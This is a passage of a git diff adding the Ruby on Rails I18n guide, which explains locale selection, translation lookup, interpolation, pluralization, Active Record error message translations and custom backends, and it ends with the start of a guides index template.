+  parsed_locale = request.subdomains.first
+  I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil
+end
+```
+
+If your application includes a locale switching menu, you would then have something like this in it:
+
+```ruby
+link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['REQUEST_URI']}")
+```
+
+assuming you would set `APP_CONFIG[:deutsch_website_url]` to some value like `http://www.application.de`.
+
+This solution has aforementioned advantages, however, you may not be able or may not want to provide different localizations ("language versions") on different domains. The most obvious solution would be to include locale code in the URL params (or request path).
+
+### Setting the Locale from the URL Params
+
+The most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the `I18n.locale = params[:locale]` _before_action_ in the first example. We would like to have URLs like `www.example.com/books?locale=ja` or `www.example.com/ja/books` in this case.
+
+This approach has almost the same set of advantages as setting the locale from the domain name: namely that it's RESTful and in accord with the rest of the World Wide Web. It does require a little bit more work to implement, though.
+
+Getting the locale from `params` and setting it accordingly is not hard; including it in every URL and thus **passing it through the requests** is. To include an explicit option in every URL (e.g. `link_to( books_url(locale: I18n.locale))`) would be tedious and probably impossible, of course.
+
+Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its [`ApplicationController#default_url_options`](http://api.rubyonrails.org/classes/ActionController/Base.html#M000515), which is useful precisely in this scenario: it enables us to set "defaults" for [`url_for`](http://api.rubyonrails.org/classes/ActionController/Base.html#M000503) and helper methods dependent on it (by implementing/overriding this method).
+
+We can include something like this in our `ApplicationController` then:
+
+```ruby
+# app/controllers/application_controller.rb
+def default_url_options(options={})
+  logger.debug "default_url_options is passed options: #{options.inspect}\n"
+  { locale: I18n.locale }
+end
+```
+
+Every helper method dependent on `url_for` (e.g. helpers for named routes like `root_path` or `root_url`, resource routes like `books_path` or `books_url`, etc.) will now **automatically include the locale in the query string**, like this: `http://localhost:3001/?locale=ja`.
+
+You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of the application domain: and URLs should reflect this.
+
+You probably want URLs to look like this: `www.example.com/en/books` (which loads the English locale) and `www.example.com/nl/books` (which loads the Dutch locale). This is achievable with the "over-riding `default_url_options`" strategy from above: you just have to set up your routes with [`scoping`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html) option in this way:
+
+```ruby
+# config/routes.rb
+scope "/:locale" do
+  resources :books
+end
+```
+
+Now, when you call the `books_path` method you should get `"/en/books"` (for the default locale). An URL like `http://localhost:3001/nl/books` should load the Dutch locale, then, and following calls to `books_path` should return `"/nl/books"` (because the locale changed).
+
+If you don't want to force the use of a locale in your routes you can use an optional path scope (denoted by the parentheses) like so:
+
+```ruby
+# config/routes.rb
+scope "(:locale)", locale: /en|nl/ do
+  resources :books
+end
+```
+
+With this approach you will not get a `Routing Error` when accessing your resources such as `http://localhost:3001/books` without a locale. This is useful for when you want to use the default locale when one is not specified.
+
+Of course, you need to take special care of the root URL (usually "homepage" or "dashboard") of your application. An URL like `http://localhost:3001/nl` will not work automatically, because the `root to: "books#index"` declaration in your `routes.rb` doesn't take locale into account. (And rightly so: there's only one "root" URL.)
+
+You would probably need to map URLs like these:
+
+```ruby
+# config/routes.rb
+get '/:locale' => 'dashboard#index'
+```
+
+Do take special care about the **order of your routes**, so this route declaration does not "eat" other ones. (You may want to add it directly before the `root :to` declaration.)
+
+NOTE: Have a look at two plugins which simplify work with routes in this way: Sven Fuchs's [routing_filter](https://github.com/svenfuchs/routing-filter/tree/master) and Raul Murciano's [translate_routes](https://github.com/raul/translate_routes/tree/master).
+
+### Setting the Locale from the Client Supplied Information
+
+In specific cases, it would make sense to set the locale from client-supplied information, i.e. not from the URL. This information may come for example from the users' preferred language (set in their browser), can be based on the users' geographical location inferred from their IP, or users can provide it simply by choosing the locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites - se [...]
+
+
+#### Using `Accept-Language`
+
+One source of client supplied information would be an `Accept-Language` HTTP header. People may [set this in their browser](http://www.w3.org/International/questions/qa-lang-priorities) or other clients (such as _curl_).
+
+A trivial implementation of using an `Accept-Language` header would be:
+
+```ruby
+def set_locale
+  logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}"
+  I18n.locale = extract_locale_from_accept_language_header
+  logger.debug "* Locale set to '#{I18n.locale}'"
+end
+
+private
+  def extract_locale_from_accept_language_header
+    request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
+  end
+```
+
+Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's [http_accept_language](https://github.com/iain/http_accept_language/tree/master) or even Rack middleware such as Ryan Tomayko's [locale](https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb).
+
+#### Using GeoIP (or Similar) Database
+
+Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as [GeoIP Lite Country](http://www.maxmind.com/app/geolitecountry). The mechanics of the code would be very similar to the code above - you would need to query the database for the user's IP, and look up your preferred locale for the country/region/city returned.
+
+#### User Profile
+
+You can also provide users of your application with means to set (and possibly over-ride) the locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above - you'd probably let users choose a locale from a dropdown list and save it to their profile in the database. Then you'd set the locale to this value.
+
+Internationalizing your Application
+-----------------------------------
+
+OK! Now you've initialized I18n support for your Ruby on Rails application and told it which locale to use and how to preserve it between requests. With that in place, you're now ready for the really interesting stuff.
+
+Let's _internationalize_ our application, i.e. abstract every locale-specific parts, and then _localize_ it, i.e. provide necessary translations for these abstracts.
+
+You most probably have something like this in one of your applications:
+
+```ruby
+# config/routes.rb
+Yourapp::Application.routes.draw do
+  root to: "home#index"
+end
+```
+
+```ruby
+# app/controllers/application_controller.rb
+class ApplicationController < ActionController::Base
+  before_action :set_locale
+
+  def set_locale
+    I18n.locale = params[:locale] || I18n.default_locale
+  end
+end
+```
+
+```ruby
+# app/controllers/home_controller.rb
+class HomeController < ApplicationController
+  def index
+    flash[:notice] = "Hello Flash"
+  end
+end
+```
+
+```html+erb
+# app/views/home/index.html.erb
+<h1>Hello World</h1>
+<p><%= flash[:notice] %></p>
+```
+
+![rails i18n demo untranslated](images/i18n/demo_untranslated.png)
+
+### Adding Translations
+
+Obviously there are **two strings that are localized to English**. In order to internationalize this code, **replace these strings** with calls to Rails' `#t` helper with a key that makes sense for the translation:
+
+```ruby
+# app/controllers/home_controller.rb
+class HomeController < ApplicationController
+  def index
+    flash[:notice] = t(:hello_flash)
+  end
+end
+```
+
+```html+erb
+# app/views/home/index.html.erb
+<h1><%=t :hello_world %></h1>
+<p><%= flash[:notice] %></p>
+```
+
+When you now render this view, it will show an error message which tells you that the translations for the keys `:hello_world` and `:hello_flash` are missing.
+
+![rails i18n demo translation missing](images/i18n/demo_translation_missing.png)
+
+NOTE: Rails adds a `t` (`translate`) helper method to your views so that you do not need to spell out `I18n.t` all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a `<span class="translation_missing">`.
+
+So let's add the missing translations into the dictionary files (i.e. do the "localization" part):
+
+```ruby
+# config/locales/en.yml
+en:
+  hello_world: Hello world!
+  hello_flash: Hello flash!
+
+# config/locales/pirate.yml
+pirate:
+  hello_world: Ahoy World
+  hello_flash: Ahoy Flash
+```
+
+There you go. Because you haven't changed the default_locale, I18n will use English. Your application now shows:
+
+![rails i18n demo translated to English](images/i18n/demo_translated_en.png)
+
+And when you change the URL to pass the pirate locale (`http://localhost:3000?locale=pirate`), you'll get:
+
+![rails i18n demo translated to pirate](images/i18n/demo_translated_pirate.png)
+
+NOTE: You need to restart the server when you add new locale files.
+
+You may use YAML (`.yml`) or plain Ruby (`.rb`) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant po [...]
+
+### Passing variables to translations
+
+You can use variables in the translation messages and pass their values from the view.
+
+```erb
+# app/views/home/index.html.erb
+<%=t 'greet_username', user: "Bill", message: "Goodbye" %>
+```
+
+```yaml
+# config/locales/en.yml
+en:
+  greet_username: "%{message}, %{user}!"
+```
+
+### Adding Date/Time Formats
+
+OK! Now let's add a timestamp to the view, so we can demo the **date/time localization** feature as well. To localize the time format you pass the Time object to `I18n.l` or (preferably) use Rails' `#l` helper. You can pick a format by passing the `:format` option - by default the `:default` format is used.
+
+```erb
+# app/views/home/index.html.erb
+<h1><%=t :hello_world %></h1>
+<p><%= flash[:notice] %></p
+<p><%= l Time.now, format: :short %></p>
+```
+
+And in our pirate translations file let's add a time format (it's already there in Rails' defaults for English):
+
+```ruby
+# config/locales/pirate.yml
+pirate:
+  time:
+    formats:
+      short: "arrrround %H'ish"
+```
+
+So that would give you:
+
+![rails i18n demo localized time to pirate](images/i18n/demo_localized_pirate.png)
+
+TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by **translating Rails' defaults for your locale**. See the [rails-i18n repository at GitHub](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for an archive of various locale files. When you put such file(s) in `config/locales/` directory, they will [...]
+
+### Inflection Rules For Other Locales
+
+Rails 4.0 allows you to define inflection rules (such as rules for singularization and pluralization) for locales other than English. In `config/initializers/inflections.rb`, you can define these rules for multiple locales. The initializer contains a default example for specifying additional rules for English; follow that format for other locales as you see fit.
+
+### Localized Views
+
+Rails 2.3 introduces another convenient localization feature: localized views (templates). Let's say you have a _BooksController_ in your application. Your _index_ action renders content in `app/views/books/index.html.erb` template. When you put a _localized variant_ of this template: `index.es.html.erb` in the same directory, Rails will render content in this template, when the locale is set to `:es`. When the locale is set to the default locale, the generic `index.html.erb` view will b [...]
+
+You can make use of this feature, e.g. when working with a large amount of static content, which would be clumsy to put inside YAML or Ruby dictionaries. Bear in mind, though, that any change you would like to do later to the template must be propagated to all of them.
+
+### Organization of Locale Files
+
+When you are using the default SimpleStore shipped with the i18n library, dictionaries are stored in plain-text files on the disc. Putting translations for all parts of your application in one file per locale could be hard to manage. You can store these files in a hierarchy which makes sense to you.
+
+For example, your `config/locales` directory could look like this:
+
+```
+|-defaults
+|---es.rb
+|---en.rb
+|-models
+|---book
+|-----es.rb
+|-----en.rb
+|-views
+|---defaults
+|-----es.rb
+|-----en.rb
+|---books
+|-----es.rb
+|-----en.rb
+|---users
+|-----es.rb
+|-----en.rb
+|---navigation
+|-----es.rb
+|-----en.rb
+```
+
+This way, you can separate model and model attribute names from text inside views, and all of this from the "defaults" (e.g. date and time formats). Other stores for the i18n library could provide different means of such separation.
+
+NOTE: The default locale loading mechanism in Rails does not load locale files in nested dictionaries, like we have here. So, for this to work, we must explicitly tell Rails to look further:
+
+```ruby
+  # config/application.rb
+  config.i18n.load_path += Dir[Rails.root.join('config', 'locales', '**', '*.{rb,yml}')]
+
+```
+
+Do check the [Rails i18n Wiki](http://rails-i18n.org/wiki) for list of tools available for managing translations.
+
+Overview of the I18n API Features
+---------------------------------
+
+You should have good understanding of using the i18n library now, knowing all necessary aspects of internationalizing a basic Rails application. In the following chapters, we'll cover it's features in more depth.
+
+These chapters will show examples using both the `I18n.translate` method as well as the [`translate` view helper method](http://api.rubyonrails.org/classes/ActionView/Helpers/TranslationHelper.html#method-i-translate) (noting the additional feature provide by the view helper method).
+
+Covered are features like these:
+
+* looking up translations
+* interpolating data into translations
+* pluralizing translations
+* using safe HTML translations (view helper method only)
+* localizing dates, numbers, currency, etc.
+
+### Looking up Translations
+
+#### Basic Lookup, Scopes and Nested Keys
+
+Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent:
+
+```ruby
+I18n.t :message
+I18n.t 'message'
+```
+
+The `translate` method also takes a `:scope` option which can contain one or more additional keys that will be used to specify a "namespace" or scope for a translation key:
+
+```ruby
+I18n.t :record_invalid, scope: [:activerecord, :errors, :messages]
+```
+
+This looks up the `:record_invalid` message in the Active Record error messages.
+
+Additionally, both the key and scopes can be specified as dot-separated keys as in:
+
+```ruby
+I18n.translate "activerecord.errors.messages.record_invalid"
+```
+
+Thus the following calls are equivalent:
+
+```ruby
+I18n.t 'activerecord.errors.messages.record_invalid'
+I18n.t 'errors.messages.record_invalid', scope: :active_record
+I18n.t :record_invalid, scope: 'activerecord.errors.messages'
+I18n.t :record_invalid, scope: [:activerecord, :errors, :messages]
+```
+
+#### Defaults
+
+When a `:default` option is given, its value will be returned if the translation is missing:
+
+```ruby
+I18n.t :missing, default: 'Not here'
+# => 'Not here'
+```
+
+If the `:default` value is a Symbol, it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned.
+
+E.g., the following first tries to translate the key `:missing` and then the key `:also_missing.` As both do not yield a result, the string "Not here" will be returned:
+
+```ruby
+I18n.t :missing, default: [:also_missing, 'Not here']
+# => 'Not here'
+```
+
+#### Bulk and Namespace Lookup
+
+To look up multiple translations at once, an array of keys can be passed:
+
+```ruby
+I18n.t [:odd, :even], scope: 'errors.messages'
+# => ["must be odd", "must be even"]
+```
+
+Also, a key can translate to a (potentially nested) hash of grouped translations. E.g., one can receive _all_ Active Record error messages as a Hash with:
+
+```ruby
+I18n.t 'activerecord.errors.messages'
+# => {:inclusion=>"is not included in the list", :exclusion=> ... }
+```
+
+#### "Lazy" Lookup
+
+Rails implements a convenient way to look up the locale inside _views_. When you have the following dictionary:
+
+```yaml
+es:
+  books:
+    index:
+      title: "Título"
+```
+
+you can look up the `books.index.title` value **inside** `app/views/books/index.html.erb` template like this (note the dot):
+
+```erb
+<%= t '.title' %>
+```
+
+NOTE: Automatic translation scoping by partial is only available from the `translate` view helper method.
+
+### Interpolation
+
+In many cases you want to abstract your translations so that **variables can be interpolated into the translation**. For this reason the I18n API provides an interpolation feature.
+
+All options besides `:default` and `:scope` that are passed to `#translate` will be interpolated to the translation:
+
+```ruby
+I18n.backend.store_translations :en, thanks: 'Thanks %{name}!'
+I18n.translate :thanks, name: 'Jeremy'
+# => 'Thanks Jeremy!'
+```
+
+If a translation uses `:default` or `:scope` as an interpolation variable, an `I18n::ReservedInterpolationKey` exception is raised. If a translation expects an interpolation variable, but this has not been passed to `#translate`, an `I18n::MissingInterpolationArgument` exception is raised.
+
+### Pluralization
+
+In English there are only one singular and one plural form for a given string, e.g. "1 message" and "2 messages". Other languages ([Arabic](http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ar), [Japanese](http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ja), [Russian](http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ru) and many more) have different grammars that have additional or [...]
+
+The `:count` interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR:
+
+```ruby
+I18n.backend.store_translations :en, inbox: {
+  one: 'one message',
+  other: '%{count} messages'
+}
+I18n.translate :inbox, count: 2
+# => '2 messages'
+
+I18n.translate :inbox, count: 1
+# => 'one message'
+```
+
+The algorithm for pluralizations in `:en` is as simple as:
+
+```ruby
+entry[count == 1 ? 0 : 1]
+```
+
+I.e. the translation denoted as `:one` is regarded as singular, the other is used as plural (including the count being zero).
+
+If the lookup for the key does not return a Hash suitable for pluralization, an `18n::InvalidPluralizationData` exception is raised.
+
+### Setting and Passing a Locale
+
+The locale can be either set pseudo-globally to `I18n.locale` (which uses `Thread.current` like, e.g., `Time.zone`) or can be passed as an option to `#translate` and `#localize`.
+
+If no locale is passed, `I18n.locale` is used:
+
+```ruby
+I18n.locale = :de
+I18n.t :foo
+I18n.l Time.now
+```
+
+Explicitly passing a locale:
+
+```ruby
+I18n.t :foo, locale: :de
+I18n.l Time.now, locale: :de
+```
+
+The `I18n.locale` defaults to `I18n.default_locale` which defaults to :`en`. The default locale can be set like this:
+
+```ruby
+I18n.default_locale = :de
+```
+
+### Using Safe HTML Translations
+
+Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. When you use them in views the HTML will not be escaped.
+
+```yaml
+# config/locales/en.yml
+en:
+  welcome: <b>welcome!</b>
+  hello_html: <b>hello!</b>
+  title:
+    html: <b>title!</b>
+```
+
+```html+erb
+# app/views/home/index.html.erb
+<div><%= t('welcome') %></div>
+<div><%= raw t('welcome') %></div>
+<div><%= t('hello_html') %></div>
+<div><%= t('title.html') %></div>
+```
+
+NOTE: Automatic conversion to HTML safe translate text is only available from the `translate` view helper method.
+
+![i18n demo html safe](images/i18n/demo_html_safe.png)
+
+How to Store your Custom Translations
+-------------------------------------
+
+The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format.[^2]
+
+For example a Ruby Hash providing translations can look like this:
+
+```ruby
+{
+  pt: {
+    foo: {
+      bar: "baz"
+    }
+  }
+}
+```
+
+The equivalent YAML file would look like this:
+
+```ruby
+pt:
+  foo:
+    bar: baz
+```
+
+As you see, in both cases the top level key is the locale. `:foo` is a namespace key and `:bar` is the key for the translation "baz".
+
+Here is a "real" example from the Active Support `en.yml` translations YAML file:
+
+```ruby
+en:
+  date:
+    formats:
+      default: "%Y-%m-%d"
+      short: "%b %d"
+      long: "%B %d, %Y"
+```
+
+So, all of the following equivalent lookups will return the `:short` date format `"%b %d"`:
+
+```ruby
+I18n.t 'date.formats.short'
+I18n.t 'formats.short', scope: :date
+I18n.t :short, scope: 'date.formats'
+I18n.t :short, scope: [:date, :formats]
+```
+
+Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats.
+
+### Translations for Active Record Models
+
+You can use the methods `Model.model_name.human` and `Model.human_attribute_name(attribute)` to transparently look up translations for your model and attribute names.
+
+For example when you add the following translations:
+
+```ruby
+en:
+  activerecord:
+    models:
+      user: Dude
+    attributes:
+      user:
+        login: "Handle"
+      # will translate User attribute "login" as "Handle"
+```
+
+Then `User.model_name.human` will return "Dude" and `User.human_attribute_name("login")` will return "Handle".
+
+You can also set a plural form for model names, adding as following:
+
+```ruby
+en:
+  activerecord:
+    models:
+      user:
+        one: Dude
+        other: Dudes
+```
+
+Then `User.model_name.human(count: 2)` will return "Dudes". With `count: 1` or without params will return "Dude".
+
+#### Error Message Scopes
+
+Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account.
+
+This gives you quite powerful means to flexibly adjust your messages to your application's needs.
+
+Consider a User model with a validation for the name attribute like this:
+
+```ruby
+class User < ActiveRecord::Base
+  validates :name, presence: true
+end
+```
+
+The key for the error message in this case is `:blank`. Active Record will look up this key in the namespaces:
+
+```ruby
+activerecord.errors.models.[model_name].attributes.[attribute_name]
+activerecord.errors.models.[model_name]
+activerecord.errors.messages
+errors.attributes.[attribute_name]
+errors.messages
+```
+
+Thus, in our example it will try the following keys in this order and return the first result:
+
+```ruby
+activerecord.errors.models.user.attributes.name.blank
+activerecord.errors.models.user.blank
+activerecord.errors.messages.blank
+errors.attributes.name.blank
+errors.messages.blank
+```
+
+When your models are additionally using inheritance then the messages are looked up in the inheritance chain.
+
+For example, you might have an Admin model inheriting from User:
+
+```ruby
+class Admin < User
+  validates :name, presence: true
+end
+```
+
+Then Active Record will look for messages in this order:
+
+```ruby
+activerecord.errors.models.admin.attributes.name.blank
+activerecord.errors.models.admin.blank
+activerecord.errors.models.user.attributes.name.blank
+activerecord.errors.models.user.blank
+activerecord.errors.messages.blank
+errors.attributes.name.blank
+errors.messages.blank
+```
+
+This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models, or default scopes.
+
+#### Error Message Interpolation
+
+The translated model name, translated attribute name, and value are always available for interpolation.
+
+So, for example, instead of the default error message `"cannot be blank"` you could use the attribute name like this : `"Please fill in your %{attribute}"`.
+
+* `count`, where available, can be used for pluralization if present:
+
+| validation   | with option               | message                   | interpolation |
+| ------------ | ------------------------- | ------------------------- | ------------- |
+| confirmation | -                         | :confirmation             | -             |
+| acceptance   | -                         | :accepted                 | -             |
+| presence     | -                         | :blank                    | -             |
+| absence      | -                         | :present                  | -             |
+| length       | :within, :in              | :too_short                | count         |
+| length       | :within, :in              | :too_long                 | count         |
+| length       | :is                       | :wrong_length             | count         |
+| length       | :minimum                  | :too_short                | count         |
+| length       | :maximum                  | :too_long                 | count         |
+| uniqueness   | -                         | :taken                    | -             |
+| format       | -                         | :invalid                  | -             |
+| inclusion    | -                         | :inclusion                | -             |
+| exclusion    | -                         | :exclusion                | -             |
+| associated   | -                         | :invalid                  | -             |
+| numericality | -                         | :not_a_number             | -             |
+| numericality | :greater_than             | :greater_than             | count         |
+| numericality | :greater_than_or_equal_to | :greater_than_or_equal_to | count         |
+| numericality | :equal_to                 | :equal_to                 | count         |
+| numericality | :less_than                | :less_than                | count         |
+| numericality | :less_than_or_equal_to    | :less_than_or_equal_to    | count         |
+| numericality | :only_integer             | :not_an_integer           | -             |
+| numericality | :odd                      | :odd                      | -             |
+| numericality | :even                     | :even                     | -             |
+
+#### Translations for the Active Record `error_messages_for` Helper
+
+If you are using the Active Record `error_messages_for` helper, you will want to add
+translations for it.
+
+Rails ships with the following translations:
+
+```yaml
+en:
+  activerecord:
+    errors:
+      template:
+        header:
+          one:   "1 error prohibited this %{model} from being saved"
+          other: "%{count} errors prohibited this %{model} from being saved"
+        body:    "There were problems with the following fields:"
+```
+
+NOTE: In order to use this helper, you need to install [DynamicForm](https://github.com/joelmoss/dynamic_form)
+gem by adding this line to your Gemfile: `gem 'dynamic_form'`.
+
+### Translations for Action Mailer E-Mail Subjects
+
+If you don't pass a subject to the `mail` method, Action Mailer will try to find
+it in your translations. The performed lookup will use the pattern
+`<mailer_scope>.<action_name>.subject` to construct the key.
+
+```ruby
+# user_mailer.rb
+class UserMailer < ActionMailer::Base
+  def welcome(user)
+    #...
+  end
+end
+```
+
+```yaml
+en:
+  user_mailer:
+    welcome:
+      subject: "Welcome to Rails Guides!"
+```
+
+### Overview of Other Built-In Methods that Provide I18n Support
+
+Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here's a brief overview.
+
+#### Action View Helper Methods
+
+* `distance_of_time_in_words` translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See [datetime.distance_in_words](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L4) translations.
+
+* `datetime_select` and `select_month` use translated month names for populating the resulting select tag. See [date.month_names](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15) for translations. `datetime_select` also looks up the order option from [date.order](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18) (unless you pass the option explicitly). All date selection helpers translate the promp [...]
+
+* The `number_to_currency`, `number_with_precision`, `number_to_percentage`, `number_with_delimiter`, and `number_to_human_size` helpers use the number format settings located in the [number](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L37) scope.
+
+#### Active Model Methods
+
+* `model_name.human` and `human_attribute_name` use translations for model names and attribute names if available in the [activerecord.models](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L36) scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".
+
+* `ActiveModel::Errors#generate_message` (which is used by Active Model validations but may also be used manually) uses `model_name.human` and `human_attribute_name` (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes".
+
+* `ActiveModel::Errors#full_messages` prepends the attribute name to the error message using a separator that will be looked up from [errors.format](https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml#L4) (and which defaults to `"%{attribute} %{message}"`).
+
+#### Active Support Methods
+
+* `Array#to_sentence` uses format settings as given in the [support.array](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L33) scope.
+
+Customize your I18n Setup
+-------------------------
+
+### Using Different Backends
+
+For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_[^3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but cannot dynamically store them to any format.
+
+That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend:
+
+```ruby
+I18n.backend = Globalize::Backend::Static.new
+```
+
+You can also use the Chain backend to chain multiple backends together. This is useful when you want to use standard translations with a Simple backend but store custom application translations in a database or other backends. For example, you could use the Active Record backend and fall back to the (default) Simple backend:
+
+```ruby
+I18n.backend = I18n::Backend::Chain.new(I18n::Backend::ActiveRecord.new, I18n.backend)
+```
+
+### Using Different Exception Handlers
+
+The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur:
+
+```ruby
+MissingTranslationData       # no translation was found for the requested key
+InvalidLocale                # the locale set to I18n.locale is invalid (e.g. nil)
+InvalidPluralizationData     # a count option was passed but the translation data is not suitable for pluralization
+MissingInterpolationArgument # the translation expects an interpolation argument that has not been passed
+ReservedInterpolationKey     # the translation contains a reserved interpolation variable name (i.e. one of: scope, default)
+UnknownFileType              # the backend does not know how to handle a file type that was added to I18n.load_path
+```
+
+The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for `MissingTranslationData` exceptions. When a `MissingTranslationData` exception has been caught, it will return the exception's error message string containing the missing key/scope.
+
+The reason for this is that during development you'd usually want your views to still render even though a translation is missing.
+
+In other contexts you might want to change this behavior, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module or a class with `#call` method:
+
+```ruby
+module I18n
+  class JustRaiseExceptionHandler < ExceptionHandler
+    def call(exception, locale, key, options)
+      if exception.is_a?(MissingTranslation)
+        raise exception.to_exception
+      else
+        super
+      end
+    end
+  end
+end
+
+I18n.exception_handler = I18n::JustRaiseExceptionHandler.new
+```
+
+This would re-raise only the `MissingTranslationData` exception, passing all other input to the default exception handler.
+
+However, if you are using `I18n::Backend::Pluralization` this handler will also raise `I18n::MissingTranslationData: translation missing: en.i18n.plural.rule` exception that should normally be ignored to fall back to the default pluralization rule for English locale. To avoid this you may use additional check for translation key:
+
+```ruby
+if exception.is_a?(MissingTranslation) && key.to_s != 'i18n.plural.rule'
+  raise exception.to_exception
+else
+  super
+end
+```
+
+Another example where the default behavior is less desirable is the Rails TranslationHelper which provides the method `#t` (as well as `#translate`). When a `MissingTranslationData` exception occurs in this context, the helper wraps the message into a span with the CSS class `translation_missing`.
+
+To do so, the helper forces `I18n#translate` to raise exceptions no matter what exception handler is defined by setting the `:raise` option:
+
+```ruby
+I18n.t :foo, raise: true # always re-raises exceptions from the backend
+```
+
+Conclusion
+----------
+
+At this point you should have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project.
+
+If you find anything missing or wrong in this guide, please file a ticket on our [issue tracker](http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview). If you want to discuss certain portions or have questions, please sign up to our [mailing list](http://groups.google.com/group/rails-i18n).
+
+
+Contributing to Rails I18n
+--------------------------
+
+I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in plugins and real applications first, and only then cherry-picking the best-of-breed of most widely useful features for inclusion in the core.
+
+Thus we encourage everybody to experiment with new ideas and features in plugins or other libraries and make them available to the community. (Don't forget to announce your work on our [mailing list](http://groups.google.com/group/rails-i18n!))
+
+If you find your own locale (language) missing from our [example translations data](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) repository for Ruby on Rails, please [_fork_](https://github.com/guides/fork-a-project-and-submit-your-modifications) the repository, add your data and send a [pull request](https://github.com/guides/pull-requests).
+
+
+Resources
+---------
+
+* [rails-i18n.org](http://rails-i18n.org) - Homepage of the rails-i18n project. You can find lots of useful resources on the [wiki](http://rails-i18n.org/wiki).
+* [Google group: rails-i18n](http://groups.google.com/group/rails-i18n) - The project's mailing list.
+* [GitHub: rails-i18n](https://github.com/svenfuchs/rails-i18n/tree/master) - Code repository for the rails-i18n project. Most importantly you can find lots of [example translations](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for Rails that should work for your application in most cases.
+* [GitHub: i18n](https://github.com/svenfuchs/i18n/tree/master) - Code repository for the i18n gem.
+* [Lighthouse: rails-i18n](http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview) - Issue tracker for the rails-i18n project.
+* [Lighthouse: i18n](http://i18n.lighthouseapp.com/projects/14947-ruby-i18n/overview) - Issue tracker for the i18n gem.
+
+
+Authors
+-------
+
+* [Sven Fuchs](http://www.workingwithrails.com/person/9963-sven-fuchs) (initial author)
+* [Karel Minařík](http://www.workingwithrails.com/person/7476-karel-mina-k)
+
+If you found this guide useful, please consider recommending its authors on [workingwithrails](http://www.workingwithrails.com).
+
+
+Footnotes
+---------
+
+[^1]: Or, to quote [Wikipedia](http://en.wikipedia.org/wiki/Internationalization_and_localization): _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_
+
+[^2]: Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.
+
+[^3]: One of these reasons is that we don't want to imply any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experi [...]
diff --git a/guides/source/index.html.erb b/guides/source/index.html.erb
new file mode 100644
index 0000000..57c224c
--- /dev/null
+++ b/guides/source/index.html.erb
@@ -0,0 +1,27 @@
+<% content_for :page_title do %>
+Ruby on Rails Guides
+<% end %>
+
